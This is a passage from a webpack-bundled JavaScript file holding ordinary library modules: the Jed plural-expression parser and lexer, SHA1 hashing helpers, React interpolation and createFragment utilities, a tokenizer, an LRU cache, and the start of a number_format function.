        vstack = [null], // semantic value stack
        lstack = [], // location stack
        table = this.table,
        yytext = '',
        yylineno = 0,
        yyleng = 0,
        recovering = 0,
        TERROR = 2,
        EOF = 1;

    //this.reductionCount = this.shiftCount = 0;

    this.lexer.setInput(input);
    this.lexer.yy = this.yy;
    this.yy.lexer = this.lexer;
    if (typeof this.lexer.yylloc == 'undefined')
        this.lexer.yylloc = {};
    var yyloc = this.lexer.yylloc;
    lstack.push(yyloc);

    if (typeof this.yy.parseError === 'function')
        this.parseError = this.yy.parseError;

    function popStack (n) {
        stack.length = stack.length - 2*n;
        vstack.length = vstack.length - n;
        lstack.length = lstack.length - n;
    }

    function lex() {
        var token;
        token = self.lexer.lex() || 1; // $end = 1
        // if token isn't its numeric value, convert
        if (typeof token !== 'number') {
            token = self.symbols_[token] || token;
        }
        return token;
    }

    var symbol, preErrorSymbol, state, action, a, r, yyval={},p,len,newState, expected;
    while (true) {
        // retreive state number from top of stack
        state = stack[stack.length-1];

        // use default actions if available
        if (this.defaultActions[state]) {
            action = this.defaultActions[state];
        } else {
            if (symbol == null)
                symbol = lex();
            // read action for current state and first input
            action = table[state] && table[state][symbol];
        }

        // handle parse error
        _handle_error:
        if (typeof action === 'undefined' || !action.length || !action[0]) {

            if (!recovering) {
                // Report error
                expected = [];
                for (p in table[state]) if (this.terminals_[p] && p > 2) {
                    expected.push("'"+this.terminals_[p]+"'");
                }
                var errStr = '';
                if (this.lexer.showPosition) {
                    errStr = 'Parse error on line '+(yylineno+1)+":\n"+this.lexer.showPosition()+"\nExpecting "+expected.join(', ') + ", got '" + this.terminals_[symbol]+ "'";
                } else {
                    errStr = 'Parse error on line '+(yylineno+1)+": Unexpected " +
                                  (symbol == 1 /*EOF*/ ? "end of input" :
                                              ("'"+(this.terminals_[symbol] || symbol)+"'"));
                }
                this.parseError(errStr,
                    {text: this.lexer.match, token: this.terminals_[symbol] || symbol, line: this.lexer.yylineno, loc: yyloc, expected: expected});
            }

            // just recovered from another error
            if (recovering == 3) {
                if (symbol == EOF) {
                    throw new Error(errStr || 'Parsing halted.');
                }

                // discard current lookahead and grab another
                yyleng = this.lexer.yyleng;
                yytext = this.lexer.yytext;
                yylineno = this.lexer.yylineno;
                yyloc = this.lexer.yylloc;
                symbol = lex();
            }

            // try to recover from error
            while (1) {
                // check for error recovery rule in this state
                if ((TERROR.toString()) in table[state]) {
                    break;
                }
                if (state == 0) {
                    throw new Error(errStr || 'Parsing halted.');
                }
                popStack(1);
                state = stack[stack.length-1];
            }

            preErrorSymbol = symbol; // save the lookahead token
            symbol = TERROR;         // insert generic error symbol as new lookahead
            state = stack[stack.length-1];
            action = table[state] && table[state][TERROR];
            recovering = 3; // allow 3 real symbols to be shifted before reporting a new error
        }

        // this shouldn't happen, unless resolve defaults are off
        if (action[0] instanceof Array && action.length > 1) {
            throw new Error('Parse Error: multiple actions possible at state: '+state+', token: '+symbol);
        }

        switch (action[0]) {

            case 1: // shift
                //this.shiftCount++;

                stack.push(symbol);
                vstack.push(this.lexer.yytext);
                lstack.push(this.lexer.yylloc);
                stack.push(action[1]); // push state
                symbol = null;
                if (!preErrorSymbol) { // normal execution/no error
                    yyleng = this.lexer.yyleng;
                    yytext = this.lexer.yytext;
                    yylineno = this.lexer.yylineno;
                    yyloc = this.lexer.yylloc;
                    if (recovering > 0)
                        recovering--;
                } else { // error just occurred, resume old lookahead f/ before error
                    symbol = preErrorSymbol;
                    preErrorSymbol = null;
                }
                break;

            case 2: // reduce
                //this.reductionCount++;

                len = this.productions_[action[1]][1];

                // perform semantic action
                yyval.$ = vstack[vstack.length-len]; // default to $$ = $1
                // default location, uses first token for firsts, last for lasts
                yyval._$ = {
                    first_line: lstack[lstack.length-(len||1)].first_line,
                    last_line: lstack[lstack.length-1].last_line,
                    first_column: lstack[lstack.length-(len||1)].first_column,
                    last_column: lstack[lstack.length-1].last_column
                };
                r = this.performAction.call(yyval, yytext, yyleng, yylineno, this.yy, action[1], vstack, lstack);

                if (typeof r !== 'undefined') {
                    return r;
                }

                // pop off stack
                if (len) {
                    stack = stack.slice(0,-1*len*2);
                    vstack = vstack.slice(0, -1*len);
                    lstack = lstack.slice(0, -1*len);
                }

                stack.push(this.productions_[action[1]][0]);    // push nonterminal (reduce)
                vstack.push(yyval.$);
                lstack.push(yyval._$);
                // goto new state = table[STATE][NONTERMINAL]
                newState = table[stack[stack.length-2]][stack[stack.length-1]];
                stack.push(newState);
                break;

            case 3: // accept
                return true;
        }

    }

    return true;
}};/* Jison generated lexer */
var lexer = (function(){

var lexer = ({EOF:1,
parseError:function parseError(str, hash) {
        if (this.yy.parseError) {
            this.yy.parseError(str, hash);
        } else {
            throw new Error(str);
        }
    },
setInput:function (input) {
        this._input = input;
        this._more = this._less = this.done = false;
        this.yylineno = this.yyleng = 0;
        this.yytext = this.matched = this.match = '';
        this.conditionStack = ['INITIAL'];
        this.yylloc = {first_line:1,first_column:0,last_line:1,last_column:0};
        return this;
    },
input:function () {
        var ch = this._input[0];
        this.yytext+=ch;
        this.yyleng++;
        this.match+=ch;
        this.matched+=ch;
        var lines = ch.match(/\n/);
        if (lines) this.yylineno++;
        this._input = this._input.slice(1);
        return ch;
    },
unput:function (ch) {
        this._input = ch + this._input;
        return this;
    },
more:function () {
        this._more = true;
        return this;
    },
pastInput:function () {
        var past = this.matched.substr(0, this.matched.length - this.match.length);
        return (past.length > 20 ? '...':'') + past.substr(-20).replace(/\n/g, "");
    },
upcomingInput:function () {
        var next = this.match;
        if (next.length < 20) {
            next += this._input.substr(0, 20-next.length);
        }
        return (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\n/g, "");
    },
showPosition:function () {
        var pre = this.pastInput();
        var c = new Array(pre.length + 1).join("-");
        return pre + this.upcomingInput() + "\n" + c+"^";
    },
next:function () {
        if (this.done) {
            return this.EOF;
        }
        if (!this._input) this.done = true;

        var token,
            match,
            col,
            lines;
        if (!this._more) {
            this.yytext = '';
            this.match = '';
        }
        var rules = this._currentRules();
        for (var i=0;i < rules.length; i++) {
            match = this._input.match(this.rules[rules[i]]);
            if (match) {
                lines = match[0].match(/\n.*/g);
                if (lines) this.yylineno += lines.length;
                this.yylloc = {first_line: this.yylloc.last_line,
                               last_line: this.yylineno+1,
                               first_column: this.yylloc.last_column,
                               last_column: lines ? lines[lines.length-1].length-1 : this.yylloc.last_column + match[0].length}
                this.yytext += match[0];
                this.match += match[0];
                this.matches = match;
                this.yyleng = this.yytext.length;
                this._more = false;
                this._input = this._input.slice(match[0].length);
                this.matched += match[0];
                token = this.performAction.call(this, this.yy, this, rules[i],this.conditionStack[this.conditionStack.length-1]);
                if (token) return token;
                else return;
            }
        }
        if (this._input === "") {
            return this.EOF;
        } else {
            this.parseError('Lexical error on line '+(this.yylineno+1)+'. Unrecognized text.\n'+this.showPosition(),
                    {text: "", token: null, line: this.yylineno});
        }
    },
lex:function lex() {
        var r = this.next();
        if (typeof r !== 'undefined') {
            return r;
        } else {
            return this.lex();
        }
    },
begin:function begin(condition) {
        this.conditionStack.push(condition);
    },
popState:function popState() {
        return this.conditionStack.pop();
    },
_currentRules:function _currentRules() {
        return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules;
    },
topState:function () {
        return this.conditionStack[this.conditionStack.length-2];
    },
pushState:function begin(condition) {
        this.begin(condition);
    }});
lexer.performAction = function anonymous(yy,yy_,$avoiding_name_collisions,YY_START) {

var YYSTATE=YY_START;
switch($avoiding_name_collisions) {
case 0:/* skip whitespace */
break;
case 1:return 20
break;
case 2:return 19
break;
case 3:return 8
break;
case 4:return 9
break;
case 5:return 6
break;
case 6:return 7
break;
case 7:return 11
break;
case 8:return 13
break;
case 9:return 10
break;
case 10:return 12
break;
case 11:return 14
break;
case 12:return 15
break;
case 13:return 16
break;
case 14:return 17
break;
case 15:return 18
break;
case 16:return 5
break;
case 17:return 'INVALID'
break;
}
};
lexer.rules = [/^\s+/,/^[0-9]+(\.[0-9]+)?\b/,/^n\b/,/^\|\|/,/^&&/,/^\?/,/^:/,/^<=/,/^>=/,/^</,/^>/,/^!=/,/^==/,/^%/,/^\(/,/^\)/,/^$/,/^./];
lexer.conditions = {"INITIAL":{"rules":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17],"inclusive":true}};return lexer;})()
parser.lexer = lexer;
return parser;
})();
// End parser

  // Handle node, amd, and global systems
  if (true) {
    if (typeof module !== 'undefined' && module.exports) {
      exports = module.exports = Jed;
    }
    exports.Jed = Jed;
  }
  else {
    if (typeof define === 'function' && define.amd) {
      define('jed', function() {
        return Jed;
      });
    }
    // Leak a global regardless of module system
    root['Jed'] = Jed;
  }

})(this);


/***/ }),
/* 97 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(37);
var common = __webpack_require__(98);
var shaCommon = __webpack_require__(99);

var rotl32 = utils.rotl32;
var sum32 = utils.sum32;
var sum32_5 = utils.sum32_5;
var ft_1 = shaCommon.ft_1;
var BlockHash = common.BlockHash;

var sha1_K = [
  0x5A827999, 0x6ED9EBA1,
  0x8F1BBCDC, 0xCA62C1D6
];

function SHA1() {
  if (!(this instanceof SHA1))
    return new SHA1();

  BlockHash.call(this);
  this.h = [
    0x67452301, 0xefcdab89, 0x98badcfe,
    0x10325476, 0xc3d2e1f0 ];
  this.W = new Array(80);
}

utils.inherits(SHA1, BlockHash);
module.exports = SHA1;

SHA1.blockSize = 512;
SHA1.outSize = 160;
SHA1.hmacStrength = 80;
SHA1.padLength = 64;

SHA1.prototype._update = function _update(msg, start) {
  var W = this.W;

  for (var i = 0; i < 16; i++)
    W[i] = msg[start + i];

  for(; i < W.length; i++)
    W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);

  var a = this.h[0];
  var b = this.h[1];
  var c = this.h[2];
  var d = this.h[3];
  var e = this.h[4];

  for (i = 0; i < W.length; i++) {
    var s = ~~(i / 20);
    var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]);
    e = d;
    d = c;
    c = rotl32(b, 30);
    b = a;
    a = t;
  }

  this.h[0] = sum32(this.h[0], a);
  this.h[1] = sum32(this.h[1], b);
  this.h[2] = sum32(this.h[2], c);
  this.h[3] = sum32(this.h[3], d);
  this.h[4] = sum32(this.h[4], e);
};

SHA1.prototype._digest = function digest(enc) {
  if (enc === 'hex')
    return utils.toHex32(this.h, 'big');
  else
    return utils.split32(this.h, 'big');
};


/***/ }),
/* 98 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(37);
var assert = __webpack_require__(54);

function BlockHash() {
  this.pending = null;
  this.pendingTotal = 0;
  this.blockSize = this.constructor.blockSize;
  this.outSize = this.constructor.outSize;
  this.hmacStrength = this.constructor.hmacStrength;
  this.padLength = this.constructor.padLength / 8;
  this.endian = 'big';

  this._delta8 = this.blockSize / 8;
  this._delta32 = this.blockSize / 32;
}
exports.BlockHash = BlockHash;

BlockHash.prototype.update = function update(msg, enc) {
  // Convert message to array, pad it, and join into 32bit blocks
  msg = utils.toArray(msg, enc);
  if (!this.pending)
    this.pending = msg;
  else
    this.pending = this.pending.concat(msg);
  this.pendingTotal += msg.length;

  // Enough data, try updating
  if (this.pending.length >= this._delta8) {
    msg = this.pending;

    // Process pending data in blocks
    var r = msg.length % this._delta8;
    this.pending = msg.slice(msg.length - r, msg.length);
    if (this.pending.length === 0)
      this.pending = null;

    msg = utils.join32(msg, 0, msg.length - r, this.endian);
    for (var i = 0; i < msg.length; i += this._delta32)
      this._update(msg, i, i + this._delta32);
  }

  return this;
};

BlockHash.prototype.digest = function digest(enc) {
  this.update(this._pad());
  assert(this.pending === null);

  return this._digest(enc);
};

BlockHash.prototype._pad = function pad() {
  var len = this.pendingTotal;
  var bytes = this._delta8;
  var k = bytes - ((len + this.padLength) % bytes);
  var res = new Array(k + this.padLength);
  res[0] = 0x80;
  for (var i = 1; i < k; i++)
    res[i] = 0;

  // Append length
  len <<= 3;
  if (this.endian === 'big') {
    for (var t = 8; t < this.padLength; t++)
      res[i++] = 0;

    res[i++] = 0;
    res[i++] = 0;
    res[i++] = 0;
    res[i++] = 0;
    res[i++] = (len >>> 24) & 0xff;
    res[i++] = (len >>> 16) & 0xff;
    res[i++] = (len >>> 8) & 0xff;
    res[i++] = len & 0xff;
  } else {
    res[i++] = len & 0xff;
    res[i++] = (len >>> 8) & 0xff;
    res[i++] = (len >>> 16) & 0xff;
    res[i++] = (len >>> 24) & 0xff;
    res[i++] = 0;
    res[i++] = 0;
    res[i++] = 0;
    res[i++] = 0;

    for (t = 8; t < this.padLength; t++)
      res[i++] = 0;
  }

  return res;
};


/***/ }),
/* 99 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(37);
var rotr32 = utils.rotr32;

function ft_1(s, x, y, z) {
  if (s === 0)
    return ch32(x, y, z);
  if (s === 1 || s === 3)
    return p32(x, y, z);
  if (s === 2)
    return maj32(x, y, z);
}
exports.ft_1 = ft_1;

function ch32(x, y, z) {
  return (x & y) ^ ((~x) & z);
}
exports.ch32 = ch32;

function maj32(x, y, z) {
  return (x & y) ^ (x & z) ^ (y & z);
}
exports.maj32 = maj32;

function p32(x, y, z) {
  return x ^ y ^ z;
}
exports.p32 = p32;

function s0_256(x) {
  return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22);
}
exports.s0_256 = s0_256;

function s1_256(x) {
  return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25);
}
exports.s1_256 = s1_256;

function g0_256(x) {
  return rotr32(x, 7) ^ rotr32(x, 18) ^ (x >>> 3);
}
exports.g0_256 = g0_256;

function g1_256(x) {
  return rotr32(x, 17) ^ rotr32(x, 19) ^ (x >>> 10);
}
exports.g1_256 = g1_256;


/***/ }),
/* 100 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; /**
                                                                                                                                                                                                                                                                               * External Dependencies
                                                                                                                                                                                                                                                                               */


/**
 * Internal Dependencies
 */


var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _reactAddonsCreateFragment = __webpack_require__(101);

var _reactAddonsCreateFragment2 = _interopRequireDefault(_reactAddonsCreateFragment);

var _tokenize = __webpack_require__(102);

var _tokenize2 = _interopRequireDefault(_tokenize);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var currentMixedString = void 0;

function getCloseIndex(openIndex, tokens) {
	var openToken = tokens[openIndex],
	    nestLevel = 0,
	    token,
	    i;
	for (i = openIndex + 1; i < tokens.length; i++) {
		token = tokens[i];
		if (token.value === openToken.value) {
			if (token.type === 'componentOpen') {
				nestLevel++;
				continue;
			}
			if (token.type === 'componentClose') {
				if (nestLevel === 0) {
					return i;
				}
				nestLevel--;
			}
		}
	}
	// if we get this far, there was no matching close token
	throw new Error('Missing closing component token `' + openToken.value + '`');
}

function buildChildren(tokens, components) {
	var children = [],
	    childrenObject = {},
	    openComponent,
	    clonedOpenComponent,
	    openIndex,
	    closeIndex,
	    token,
	    i,
	    grandChildTokens,
	    grandChildren,
	    siblingTokens,
	    siblings;

	for (i = 0; i < tokens.length; i++) {
		token = tokens[i];
		if (token.type === 'string') {
			children.push(token.value);
			continue;
		}
		// component node should at least be set
		if (!components.hasOwnProperty(token.value) || typeof components[token.value] === 'undefined') {
			throw new Error('Invalid interpolation, missing component node: `' + token.value + '`');
		}
		// should be either ReactElement or null (both type "object"), all other types deprecated
		if (_typeof(components[token.value]) !== 'object') {
			throw new Error('Invalid interpolation, component node must be a ReactElement or null: `' + token.value + '`', '\n> ' + currentMixedString);
		}
		// we should never see a componentClose token in this loop
		if (token.type === 'componentClose') {
			throw new Error('Missing opening component token: `' + token.value + '`');
		}
		if (token.type === 'componentOpen') {
			openComponent = components[token.value];
			openIndex = i;
			break;
		}
		// componentSelfClosing token
		children.push(components[token.value]);
		continue;
	}

	if (openComponent) {
		closeIndex = getCloseIndex(openIndex, tokens);
		grandChildTokens = tokens.slice(openIndex + 1, closeIndex);
		grandChildren = buildChildren(grandChildTokens, components);
		clonedOpenComponent = _react2.default.cloneElement(openComponent, {}, grandChildren);
		children.push(clonedOpenComponent);

		if (closeIndex < tokens.length - 1) {
			siblingTokens = tokens.slice(closeIndex + 1);
			siblings = buildChildren(siblingTokens, components);
			children = children.concat(siblings);
		}
	}

	if (children.length === 1) {
		return children[0];
	}

	children.forEach(function (child, index) {
		if (child) {
			childrenObject['interpolation-child-' + index] = child;
		}
	});

	return (0, _reactAddonsCreateFragment2.default)(childrenObject);
}

function interpolate(options) {
	var mixedString = options.mixedString,
	    components = options.components,
	    throwErrors = options.throwErrors;


	currentMixedString = mixedString;

	if (!components) {
		return mixedString;
	}

	if ((typeof components === 'undefined' ? 'undefined' : _typeof(components)) !== 'object') {
		if (throwErrors) {
			throw new Error('Interpolation Error: unable to process `' + mixedString + '` because components is not an object');
		}

		return mixedString;
	}

	var tokens = (0, _tokenize2.default)(mixedString);

	try {
		return buildChildren(tokens, components);
	} catch (error) {
		if (throwErrors) {
			throw new Error('Interpolation Error: unable to process `' + mixedString + '` because of error `' + error.message + '`');
		}

		return mixedString;
	}
};

exports.default = interpolate;
//# sourceMappingURL=index.js.map

/***/ }),
/* 101 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2015-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var React = __webpack_require__(0);

var REACT_ELEMENT_TYPE =
  (typeof Symbol === 'function' && Symbol.for && Symbol.for('react.element')) ||
  0xeac7;

var emptyFunction = __webpack_require__(57);
var invariant = __webpack_require__(58);
var warning = __webpack_require__(59);

var SEPARATOR = '.';
var SUBSEPARATOR = ':';

var didWarnAboutMaps = false;

var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;
var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.

function getIteratorFn(maybeIterable) {
  var iteratorFn =
    maybeIterable &&
    ((ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL]) ||
      maybeIterable[FAUX_ITERATOR_SYMBOL]);
  if (typeof iteratorFn === 'function') {
    return iteratorFn;
  }
}

function escape(key) {
  var escapeRegex = /[=:]/g;
  var escaperLookup = {
    '=': '=0',
    ':': '=2'
  };
  var escapedString = ('' + key).replace(escapeRegex, function(match) {
    return escaperLookup[match];
  });

  return '$' + escapedString;
}

function getComponentKey(component, index) {
  // Do some typechecking here since we call this blindly. We want to ensure
  // that we don't block potential future ES APIs.
  if (component && typeof component === 'object' && component.key != null) {
    // Explicit key
    return escape(component.key);
  }
  // Implicit key determined by the index in the set
  return index.toString(36);
}

function traverseAllChildrenImpl(
  children,
  nameSoFar,
  callback,
  traverseContext
) {
  var type = typeof children;

  if (type === 'undefined' || type === 'boolean') {
    // All of the above are perceived as null.
    children = null;
  }

  if (
    children === null ||
    type === 'string' ||
    type === 'number' ||
    // The following is inlined from ReactElement. This means we can optimize
    // some checks. React Fiber also inlines this logic for similar purposes.
    (type === 'object' && children.$$typeof === REACT_ELEMENT_TYPE)
  ) {
    callback(
      traverseContext,
      children,
      // If it's the only child, treat the name as if it was wrapped in an array
      // so that it's consistent if the number of children grows.
      nameSoFar === '' ? SEPARATOR + getComponentKey(children, 0) : nameSoFar
    );
    return 1;
  }

  var child;
  var nextName;
  var subtreeCount = 0; // Count of children found in the current subtree.
  var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;

  if (Array.isArray(children)) {
    for (var i = 0; i < children.length; i++) {
      child = children[i];
      nextName = nextNamePrefix + getComponentKey(child, i);
      subtreeCount += traverseAllChildrenImpl(
        child,
        nextName,
        callback,
        traverseContext
      );
    }
  } else {
    var iteratorFn = getIteratorFn(children);
    if (iteratorFn) {
      if (process.env.NODE_ENV !== 'production') {
        // Warn about using Maps as children
        if (iteratorFn === children.entries) {
          warning(
            didWarnAboutMaps,
            'Using Maps as children is unsupported and will likely yield ' +
              'unexpected results. Convert it to a sequence/iterable of keyed ' +
              'ReactElements instead.'
          );
          didWarnAboutMaps = true;
        }
      }

      var iterator = iteratorFn.call(children);
      var step;
      var ii = 0;
      while (!(step = iterator.next()).done) {
        child = step.value;
        nextName = nextNamePrefix + getComponentKey(child, ii++);
        subtreeCount += traverseAllChildrenImpl(
          child,
          nextName,
          callback,
          traverseContext
        );
      }
    } else if (type === 'object') {
      var addendum = '';
      if (process.env.NODE_ENV !== 'production') {
        addendum =
          ' If you meant to render a collection of children, use an array ' +
          'instead or wrap the object using createFragment(object) from the ' +
          'React add-ons.';
      }
      var childrenString = '' + children;
      invariant(
        false,
        'Objects are not valid as a React child (found: %s).%s',
        childrenString === '[object Object]'
          ? 'object with keys {' + Object.keys(children).join(', ') + '}'
          : childrenString,
        addendum
      );
    }
  }

  return subtreeCount;
}

function traverseAllChildren(children, callback, traverseContext) {
  if (children == null) {
    return 0;
  }

  return traverseAllChildrenImpl(children, '', callback, traverseContext);
}

var userProvidedKeyEscapeRegex = /\/+/g;
function escapeUserProvidedKey(text) {
  return ('' + text).replace(userProvidedKeyEscapeRegex, '$&/');
}

function cloneAndReplaceKey(oldElement, newKey) {
  return React.cloneElement(
    oldElement,
    {key: newKey},
    oldElement.props !== undefined ? oldElement.props.children : undefined
  );
}

var DEFAULT_POOL_SIZE = 10;
var DEFAULT_POOLER = oneArgumentPooler;

var oneArgumentPooler = function(copyFieldsFrom) {
  var Klass = this;
  if (Klass.instancePool.length) {
    var instance = Klass.instancePool.pop();
    Klass.call(instance, copyFieldsFrom);
    return instance;
  } else {
    return new Klass(copyFieldsFrom);
  }
};

var addPoolingTo = function addPoolingTo(CopyConstructor, pooler) {
  // Casting as any so that flow ignores the actual implementation and trusts
  // it to match the type we declared
  var NewKlass = CopyConstructor;
  NewKlass.instancePool = [];
  NewKlass.getPooled = pooler || DEFAULT_POOLER;
  if (!NewKlass.poolSize) {
    NewKlass.poolSize = DEFAULT_POOL_SIZE;
  }
  NewKlass.release = standardReleaser;
  return NewKlass;
};

var standardReleaser = function standardReleaser(instance) {
  var Klass = this;
  invariant(
    instance instanceof Klass,
    'Trying to release an instance into a pool of a different type.'
  );
  instance.destructor();
  if (Klass.instancePool.length < Klass.poolSize) {
    Klass.instancePool.push(instance);
  }
};

var fourArgumentPooler = function fourArgumentPooler(a1, a2, a3, a4) {
  var Klass = this;
  if (Klass.instancePool.length) {
    var instance = Klass.instancePool.pop();
    Klass.call(instance, a1, a2, a3, a4);
    return instance;
  } else {
    return new Klass(a1, a2, a3, a4);
  }
};

function MapBookKeeping(mapResult, keyPrefix, mapFunction, mapContext) {
  this.result = mapResult;
  this.keyPrefix = keyPrefix;
  this.func = mapFunction;
  this.context = mapContext;
  this.count = 0;
}
MapBookKeeping.prototype.destructor = function() {
  this.result = null;
  this.keyPrefix = null;
  this.func = null;
  this.context = null;
  this.count = 0;
};
addPoolingTo(MapBookKeeping, fourArgumentPooler);

function mapSingleChildIntoContext(bookKeeping, child, childKey) {
  var result = bookKeeping.result;
  var keyPrefix = bookKeeping.keyPrefix;
  var func = bookKeeping.func;
  var context = bookKeeping.context;

  var mappedChild = func.call(context, child, bookKeeping.count++);
  if (Array.isArray(mappedChild)) {
    mapIntoWithKeyPrefixInternal(
      mappedChild,
      result,
      childKey,
      emptyFunction.thatReturnsArgument
    );
  } else if (mappedChild != null) {
    if (React.isValidElement(mappedChild)) {
      mappedChild = cloneAndReplaceKey(
        mappedChild,
        // Keep both the (mapped) and old keys if they differ, just as
        // traverseAllChildren used to do for objects as children
        keyPrefix +
          (mappedChild.key && (!child || child.key !== mappedChild.key)
            ? escapeUserProvidedKey(mappedChild.key) + '/'
            : '') +
          childKey
      );
    }
    result.push(mappedChild);
  }
}

function mapIntoWithKeyPrefixInternal(children, array, prefix, func, context) {
  var escapedPrefix = '';
  if (prefix != null) {
    escapedPrefix = escapeUserProvidedKey(prefix) + '/';
  }
  var traverseContext = MapBookKeeping.getPooled(
    array,
    escapedPrefix,
    func,
    context
  );
  traverseAllChildren(children, mapSingleChildIntoContext, traverseContext);
  MapBookKeeping.release(traverseContext);
}

var numericPropertyRegex = /^\d+$/;

var warnedAboutNumeric = false;

function createReactFragment(object) {
  if (typeof object !== 'object' || !object || Array.isArray(object)) {
    warning(
      false,
      'React.addons.createFragment only accepts a single object. Got: %s',
      object
    );
    return object;
  }
  if (React.isValidElement(object)) {
    warning(
      false,
      'React.addons.createFragment does not accept a ReactElement ' +
        'without a wrapper object.'
    );
    return object;
  }

  invariant(
    object.nodeType !== 1,
    'React.addons.createFragment(...): Encountered an invalid child; DOM ' +
      'elements are not valid children of React components.'
  );

  var result = [];

  for (var key in object) {
    if (process.env.NODE_ENV !== 'production') {
      if (!warnedAboutNumeric && numericPropertyRegex.test(key)) {
        warning(
          false,
          'React.addons.createFragment(...): Child objects should have ' +
            'non-numeric keys so ordering is preserved.'
        );
        warnedAboutNumeric = true;
      }
    }
    mapIntoWithKeyPrefixInternal(
      object[key],
      result,
      key,
      emptyFunction.thatReturnsArgument
    );
  }

  return result;
}

module.exports = createReactFragment;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 102 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


function identifyToken(item) {
	// {{/example}}
	if (item.match(/^\{\{\//)) {
		return {
			type: 'componentClose',
			value: item.replace(/\W/g, '')
		};
	}
	// {{example /}}
	if (item.match(/\/\}\}$/)) {
		return {
			type: 'componentSelfClosing',
			value: item.replace(/\W/g, '')
		};
	}
	// {{example}}
	if (item.match(/^\{\{/)) {
		return {
			type: 'componentOpen',
			value: item.replace(/\W/g, '')
		};
	}
	return {
		type: 'string',
		value: item
	};
}

module.exports = function (mixedString) {
	var tokenStrings = mixedString.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g); // split to components and strings
	return tokenStrings.map(identifyToken);
};
//# sourceMappingURL=tokenize.js.map

/***/ }),
/* 103 */
/***/ (function(module, exports, __webpack_require__) {

var events = __webpack_require__(56)
var inherits = __webpack_require__(55)

module.exports = LRU

function LRU (opts) {
  if (!(this instanceof LRU)) return new LRU(opts)
  if (typeof opts === 'number') opts = {max: opts}
  if (!opts) opts = {}
  events.EventEmitter.call(this)
  this.cache = {}
  this.head = this.tail = null
  this.length = 0
  this.max = opts.max || 1000
  this.maxAge = opts.maxAge || 0
}

inherits(LRU, events.EventEmitter)

Object.defineProperty(LRU.prototype, 'keys', {
  get: function () { return Object.keys(this.cache) }
})

LRU.prototype.clear = function () {
  this.cache = {}
  this.head = this.tail = null
  this.length = 0
}

LRU.prototype.remove = function (key) {
  if (typeof key !== 'string') key = '' + key
  if (!this.cache.hasOwnProperty(key)) return

  var element = this.cache[key]
  delete this.cache[key]
  this._unlink(key, element.prev, element.next)
  return element.value
}

LRU.prototype._unlink = function (key, prev, next) {
  this.length--

  if (this.length === 0) {
    this.head = this.tail = null
  } else {
    if (this.head === key) {
      this.head = prev
      this.cache[this.head].next = null
    } else if (this.tail === key) {
      this.tail = next
      this.cache[this.tail].prev = null
    } else {
      this.cache[prev].next = next
      this.cache[next].prev = prev
    }
  }
}

LRU.prototype.peek = function (key) {
  if (!this.cache.hasOwnProperty(key)) return

  var element = this.cache[key]

  if (!this._checkAge(key, element)) return
  return element.value
}

LRU.prototype.set = function (key, value) {
  if (typeof key !== 'string') key = '' + key

  var element

  if (this.cache.hasOwnProperty(key)) {
    element = this.cache[key]
    element.value = value
    if (this.maxAge) element.modified = Date.now()

    // If it's already the head, there's nothing more to do:
    if (key === this.head) return value
    this._unlink(key, element.prev, element.next)
  } else {
    element = {value: value, modified: 0, next: null, prev: null}
    if (this.maxAge) element.modified = Date.now()
    this.cache[key] = element

    // Eviction is only possible if the key didn't already exist:
    if (this.length === this.max) this.evict()
  }

  this.length++
  element.next = null
  element.prev = this.head

  if (this.head) this.cache[this.head].next = key
  this.head = key

  if (!this.tail) this.tail = key
  return value
}

LRU.prototype._checkAge = function (key, element) {
  if (this.maxAge && (Date.now() - element.modified) > this.maxAge) {
    this.remove(key)
    this.emit('evict', {key: key, value: element.value})
    return false
  }
  return true
}

LRU.prototype.get = function (key) {
  if (typeof key !== 'string') key = '' + key
  if (!this.cache.hasOwnProperty(key)) return

  var element = this.cache[key]

  if (!this._checkAge(key, element)) return

  if (this.head !== key) {
    if (key === this.tail) {
      this.tail = element.next
      this.cache[this.tail].prev = null
    } else {
      // Set prev.next -> element.next:
      this.cache[element.prev].next = element.next
    }

    // Set element.next.prev -> element.prev:
    this.cache[element.next].prev = element.prev

    // Element is the new head
    this.cache[this.head].next = key
    element.prev = this.head
    element.next = null
    this.head = key
  }

  return element.value
}

LRU.prototype.evict = function () {
  if (!this.tail) return
  var key = this.tail
  var value = this.remove(this.tail)
  this.emit('evict', {key: key, value: value})
}


/***/ }),
/* 104 */
/***/ (function(module, exports) {

/**
 * Exposes number format capability
 *
 * @copyright Copyright (c) 2013 Kevin van Zonneveld (http://kvz.io) and Contributors (http://phpjs.org/authors).
 * @license See CREDITS.md
 * @see https://github.com/kvz/phpjs/blob/ffe1356af23a6f2512c84c954dd4e828e92579fa/functions/strings/number_format.js
 */
function number_format( number, decimals, dec_point, thousands_sep ) {
  number = ( number + '' )
    .replace( /[^0-9+\-Ee.]/g, '' );
